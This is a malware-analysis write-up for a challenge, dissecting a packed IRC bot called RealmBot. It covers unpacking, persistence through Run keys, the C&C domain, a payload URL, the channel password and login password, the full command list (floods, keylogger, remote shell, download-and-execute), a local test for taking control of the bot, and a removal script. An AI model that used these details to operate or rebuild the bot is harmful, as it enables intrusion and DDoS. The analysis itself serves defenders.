Solution to the malware challenge

The deadline for submission to the malware challenge has passed, so I will post here my solution. Sorry for the rather poor presentation, but I exported it out from Word.

Describe your malware lab.

• A virtual machine (VirtualBox[1]) with WindowsXP installed.
• OllyDbg[2]
• IDA 4.9 Freeware[3]
• PEiD[4]
• HxD[5]
• LordPE[6]
• ImpRec[7]

What information can you gather about the malware without executing it?

• First I examined it in a hex editor (HxD), which hinted at the fact that the executable is packed (there were two kind of hints – the first one visual – just scrolling through the PE sections – the second one based on the histogram of the file – the number of times each byte value occurs). As you can see above, the number of zero bytes is much lower compared to an non-packed file, and also the distribution of the values is much more homogeneous.

• Given that we determined with a high probability that this executable is packed, the second question was “what packer was used?” To determine this, several methods were used:


• A brief inspection with the hex editor. This suggested that a modified version of UPX was used. The hints were:


• The section names. These are usually named UPX0, UPX1 and UPX2 in case of an UPX packed executable. In the malware there was a similar file patter, only that UPX was replaced for ABC
• UPX also includes the version used to pack the file in the form of “[major version].[minor version] UPX!” at the beginning of the first section. This too was modified with the same method, and the file reads: 3.03 ABC!


• Using PEiD. While using the standard settings it doesn’t detect anything, setting the “Deep scan” option (which scans for the signatures in the entire section where the entry point is located, not just at the entry point) it correctly identified the packer as UPX
• Using IDA, we can see other signs that UPX was used:


• The distribution of the sections: a section containing no data, followed by a large section which contains the entry point followed by a small section containing the imports
• The specific imports for a packed executable (LoadLibraryA, GetProcAddres, VirtualAlloc, VirtualProtect, etc)
• The code at the entry point


• Given that the malware is packed using a non-standard tool, static unpacking would be fairly complicated

Unpacking the executable

To gain further intelligence, an unpacked version of the executable is needed. Because the modifications to UPX are only superficial, the method described on reconstructer.org[1] can be used. At this point we can analyze the dumped binary in IDA (pretty straight forward, since the original executable was compiled using Visual C – but still time-consuming) or try to search for the source code. See the second before last question about retrieving the source code.

Is the malware packed? If so, how did you determine what it was?

See the previous point.

Describe the malware's behavior. What files does it drop? What registry keys does it create and/or modify? What network connections does it create? How does it auto-start, etc?

This can be determined either by static analysis or by running the malware and observing its actions with something like System Safety Monitor[1], Process Monitor[2] or the All Seeing Eye[3]. However this has the drawback that there is no guarantee for the fact that every possible aspect of the malware will be manifested. Added with the fact that we have the source of the malware and it is written in plain C (without obfuscation), a static analysis is recommended (using IDA for example). The actions performed by the malware are:

• If it isn’t started from there, it copies itself to %WINDIR%\Winsec32.exe. Then it sets the read only, hidden and system attributes on the file.
• It also sets the file time to the time of explorer.exe, to avoid standing out from other files when sorted by creation date
• Finally it starts the copy and terminates
• It registers itself for autostart in the following registry locations using the name “Microsoft Svchost local services”:


• HKLM\Software\Microsoft\Windows\CurrentVersion\Run
• HKLM\Software\Microsoft\Windows\CurrentVersion\RunServices
• HKCU\Software\Microsoft\OLE


• Now it enters in a loop waiting for the internet connection to become available. When it becomes available, it tries to connect to the C&C server and listen for commands

The malware also uses (used) a secondary server (http://www.Nivdav.net/Winsec32.exe) to host probably a copy of itself (it is hard to tell, since the domain registration was deleted). This is used for the VNC “exploit”. Basically, if it is instructed to scan for VNC servers listening on the standard port (5900) and finds one without a password set, it tries to send it a set of commands which would result in downloading and executing the specified file.

What type of command and control server does the malware use? Describe the server and interface this malware uses as well as the domains and URLs accessed by the malware.

The malware tries to connect to an IRC server with the DNS name “testirc1.sh1xy2bg.NET”. However, according to domaintools[1], this domain name was never registered, which leads me to speculate that the sample was tampered with, or that the perpetrator planned to register it later. The connection is made on the standard IRC port (6667), which makes it very probable that it will get blocked (for example in corporate environments) and also it is easily recognizable.

What commands are present within the malware and what do they do? If possible, take control of the malware and run some of these commands, documenting how you did it.

The malware has a wide variety of commands. Here is a list of them, with a short explanation for each:

• ftp.upload – uploads a file from the victim’s computer to an ftp server specified by the controller. The uploading is done using the standard “ftp.exe” present in Windows, and a script written out to a file named “.dll”. This file will contain a script similar to:
  open ftp.example.com
  user foo
  pass bar
  put
  bye
• util.hcon or httpcon – connects to a specified host using the HTTP protocol. Most probably used for layer 7 DDoS
• pingflood or ddos.pingf – starts a pingflood against a given host. Controller can determine the packet size and delay between the packets.
• ddos.udpf or udpflood – starts an UDP flood against a given host. Controller can determine the destination port, packet size and delay between the packets.
• asc or advscan – start scanning a given range of IP address for a given port. After finding an open port, it can send exploit code it
• cid / currentip – returns the current IP for the portscan thread (which IP is it currently scanning)
• clone.make / clone.start – connects to an IRC channel with the intent of “cloning” (repeating) things said by the botherder
• clone.j / clone.join – joins a given channel on the “cloned” connection
• clone.p / clone.part – parts a given channel on the “cloned” connection
• clone.ni / clone.nick – sets the nick on the “cloned” connection
• clone.ra / clone.raw – repeats the “raw” message on the “cloned” connection. This means that no prefix (such as PRIVMSG) is added
• clone.ac or clone.action / clone.pm or clone.privmsg – the bot can be connected to other IRC servers (acting as a proxy) an repeat the commands passed to it on the connected servers
• daemon.rd or redirect – creates a TCP tunnel on the given interface/port towards the given address/port (similar to rinetd[2])
• dl or download – downoads a given file using the HTTP protocol. Optionally the downloaded file can be “encrypted” using the “prefix” set by the “irc.pr” or “prefix” command and can be checked to have a particular CRC32. After the file is downloaded, it is executed. Optionally, it can be marked as an “update”, in which case the original process is killed after the downloaded file is executed
• synflood / ddos.ack / ddos.random – does a DDoS against a specified IP/Port.
• rename / com.mv – renames a given local file to an other local name
• execute / com.e – executes a local file. By default the windows of the new program are hidden.
• delay / irc.de – sleeps given number of seconds (possibly to avoid triggering the flood detection of IRC servers)
• irc.m / mode – changes its mode on the C&C channel
• irc.cy / cycle – leaves the C&C channel, waits the specified number of seconds then rejoins it
• irc.pm / privmsg – sends a private message on the C&C connection
• share – lists the available samba shares on the computer
• user – adds / removes / displays info about a local user
• pause / stop / start – pauses / stops / starts services
• keylog.on / cmd.kl.on – starts a keylogger
• readfile / com.rf – reads a local file and echoes it back to the bot-herder
• list / com.fl – lists the contents of a local directory
• delete / del – deletes a local file
• prockillid / pkid – kills a process with the given ID
• killprocess / kpc – kills a process with the given executable name
• dns / irc.dn – resolves a given DNS name and returns the IP
• open / cmd.o – does a ShellExecute[3] (with the operation parameter set to “open”) on the specified local file. The windows of the application will be visible (as opposed to execute / com.e)
• prefix / irc.pr – sets the “prefix” (a string used to decrypt downloaded files)
• killt / killthreads – kills threads associated with the bot
• d.ftpd.on / ftpd.on – starts an FTP server on the specified port
• web.on / httpd.on – starts a web server on the specified port. If a directory is not specified, the system directory will be used as “wwwroot”
• util.fdns / flushdns – flushes the local DNS cache
• farp / flusharp – flushes the local ARP cache
• com.gc / getclip – echoes back the contents of the local clipboard
• opencmd / cmd1 – opens a command line session (“telnet”)
• closecmd – stops the remote shell
• testdlls / com.dll – lists the DLLs which the bot failed to load
• driveinfo / com.drv – displays the free space for available on the specified drive (different the A – probably to avoid raising suspicion by querying an empty floppy drive)
• uptime / com.up – displays the time elapsed since the bot has started
• proc.on / com.ps – lists the processes running on the system and the DLLs each has loaded
• rm / remove – a very interesting command, since it actually removes the file from the system and deletes the associated registry entries!
• syinfo / sys – displays system info about the infected system
• ni / netinfo – displays network info (IP Address, connection type, and host name) about the infected system
• clg / clearlog – clears the internal log
• threads.l / threads – lists the threads running associated with the bot
• reboot – reboots the system
• secure / sec – an other interesting command. When issued, the bot tries to “lock down” the system to (supposedly) prevent exploitation by others. Settings it changes:


• disables DCOM
• restricts anonymous logins
• deletes administrative shares like IPC$, ADMIN$, … (but interestingly it only deletes C$ and D$ - if the system has more drives, the administrative shares for those won’t be deleted)


• lockdown.off / ld.off – the reverse of secure
• chghttp – changes the http address used in VNC exploitation
• die / irc.di – dies (exists)
• mirc.cmd – an other interesting command – sends a command to the active mIRC instance if it can find one

Theoretically speaking letting a bot connect through an unfiltered internet access is not recommended, because it might receive commands from the C&C which could result in damage being done to other computers (for example it is instructed to scan and exploit other machines and it does so). Also (theoretically speaking) taking over a botnet C&C and issuing commands to them is not recommended (even commands which would result in the malware being removed), because (legally speaking) you are still accessing systems which you are not authorized to do. Both of these issues are only of theoretical interest, since (as mentioned at the previous question), the domain the bot is trying to connect to isn’t registered. To do a local test, take the following steps (credit goes to my colleague CPS for coming up with this solution):

• Install an IRC server locally. A free one for windows is JoinMe[4]. Other options are available[5]. Because the bot uses the standard IRC port (6667), no custom settings are necessary.
• Modify your hosts file (C:\Windows\System32\Drivers\Etc\hosts), by adding the following two lines:
  127.0.0.1       testirc1.sh1xy2bg.NET
  127.0.0.2       legalize.it
  The first line is used to redirect the malware to the local server when it tries to connect. The second one is needed because when logging in, the malware checks that the user is coming from an IP range which resolves back to “legalize.it”. The different address is needed to make sure that the TCP stack is resolves the reverse lookup correctly.
• Install an IRC client (a free one for example is Hirc[6]) and connect to localhost and join the channel “#chalenge” (yes, the typo is intentional). From the bot it seems that this channel should have had the password “happy12”, but it is no problem that our simulation doesn’t have it, because the bot only supplies the password if asked.
• Start the bot. Make sure that internet access is available until the bot connects to the channel (this is needed because it waits in a loop if no internet connection is available). Once connected, the connection should be removed for security reasons.
• The bot uses a username like: [] (for example: USA[XP]6913090). To log in, send it the following private message (l is short for login):
  .l gemp123
  It should respond with the message (which means that the login was successful, and also that the author of the bot had less than full control of the intricacies of the English language):
  [REALMBOT] : Thank for trying.
• To send other commands, just prefix the command with “.”
• To successfully convince a bot that we are its master, we need to be the first who issues the login command, or we need to issue the login

How would you classify this malware? Why?

It is a “classic” general purpose IRC bot/backdoor. It connects back to a central IRC server and waits there for command from its “master”, offering non-authorized (“backdoor”) access to the infected machine.

What do you think the purpose of this malware is?

It is a general purpose “bot”, meant to offer backdoor access to the person controlling it to a large number of infected machines. It contains no specific functionality (like stealing passwords for WoW[1]), rather it offers a series of generic methods (like spawning a reverse command shell) which can be used to implement any malicious behavior.

It also has a lot of functionality related to IRC (proxying traffic, flooding channels, etc). This is indicative of its origins (bots were used to have mini-wars on IRC – flooding channels, etc).

Is it possible to find the malware's source code? If so, how did you do it?

Looking through the strings which can be found in the unpacked executable, it seems that this malware was named “RealmBot”. Searching for the string “realmbot source code” with Google results finds the following discussion on the site “blackhat-forums.com”: http://www.blackhat-forums.com/index.php?showtopic=6032. Here we have two links to rapidshare. After downloading and unpacking the archive, we find a directory named “Crx-realmbot.VNC+RFI” (amongst others). To validate that this is indeed the source we are looking for, I’ve used the following perl script:

use strict;

use warnings;

use File::Find;

print "Loading files...\n";

our $complete_file = '';

find(sub {

     return unless -f $_;

     return unless /\.(?:h|c|cpp)$/i;

    

     print "$_\n";

     open my $f, '<', $_;

     $complete_file .= "\n" . join('', <$f>);

     close $f;

}, 'Crx-realmbot VNC exploit and RFI -(rfi not tested)');

while (my $line = <>) {

     chomp $line;

     if ($complete_file =~ /\b\Q$line\E\b/) {

          print "x $line\n";

     }

     else {

          print "  $line\n";

     }

}

Like this: strings dumped_.ex$|perl check.pl > out

What this does is to load all the source files, and then check for the existence of the strings which it gets from the input in the source file. The strings presented on the input are strings extracted from the dumped (unpacked) executable. This test, although it didn’t give a 100% match rate for various reasons (strings need to be escaped in C source code – “\” is written as “\\” – some strings are created at runtime, etc), the match rate was high enough for me to affirm that this is indeed the source code for the malware.

What information can be gleaned from the source code?

• It seems that an effort was made to make the malware configurable. Besides the normal settings (IRC server address / port / channel / etc), users can configure the functionality which to exclude with defines (like NO_CRYPT, NO_VNC, etc)
• The original bot included the code to exploit a RFI (remote file inclusion) vulnerability against a forum software written in PHP[2] (Quicksilver Forum), however this wasn’t included in this compilation of the malware
• The source code included the option to run the “secure system” command in a loop (but this isn’t included in this version)
• The original author (if you can call it that – given that the source is a copy-paste job) seems to be related to the site http://w32-gen.us. Some chatlogs[3] seem give further leads, however, without further investigation, it is unclear what the relation between the different actors are

How would you write a custom detection and removal tool to determine if the malware is present on the system and remove it?

On the most basic level, the following batch file can remove it:

taskkill /IM Winsec32.exe /F

reg DELETE HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "Microsoft Svchost local services"

reg DELETE HKLM\Software\Microsoft\Windows\CurrentVersion\RunServices /v "Microsoft Svchost local services"

reg DELETE HKCU\Software\Microsoft\OLE /v "Microsoft Svchost local services"

However, given the large number of commands available to the bot-herder, it is quite possible that other modifications have been made to the system, which can not be deduced from looking at the source code. If the system is critical, a full reinstall is recommended. Also, the possibility must be taken into consideration that other systems accessible from the given computer might be compromised (if we are talking about a system behind a firewall with other computers connected to the local network for example).

---

[1]               World of Warcraft

[2]               http://www.securityfocus.com/bid/19991

[3]               http://gogloom.com/LCIRC/w32-Gen/

---

[1]               http://whois.domaintools.com/sh1xy2bg.net

[2]               http://hype-free.blogspot.com/2008/04/port-redirection-under-windows.html

[3]               http://msdn.microsoft.com/en-us/library/bb762153(VS.85).aspx

[4]               http://www.softpedia.com/get/Internet/Servers/Other-Servers/JoinMe.shtml

[5]               http://www.computerquestionhelp.com/blogs/other/guides/setup-your-own-irc-server.html

[6]               http://www.xs4all.nl/~hneel/software.htm

---

[1]               http://www.syssafety.com/

[2]               http://technet.microsoft.com/en-us/sysinternals/bb896645.aspx

[3]               http://www.fortego.com/en/ase.html

---

[1]               http://www.reconstructer.org/papers.html - 13.12.2006 - Manual unpacking and Auto-IAT fixing UPX and Aspack

---

[1]               http://www.virtualbox.org/

[2]               http://www.ollydbg.de/

[3]               http://www.hex-rays.com/idapro/idadownfreeware.htm

[4]               http://peid.has.it/

[5]               http://mh-nexus.de/en/hxd/

[6]               http://www.woodmann.net/collaborative/tools/index.php/LordPE

[7]               http://www.woodmann.com/collaborative/tools/index.php/ImpREC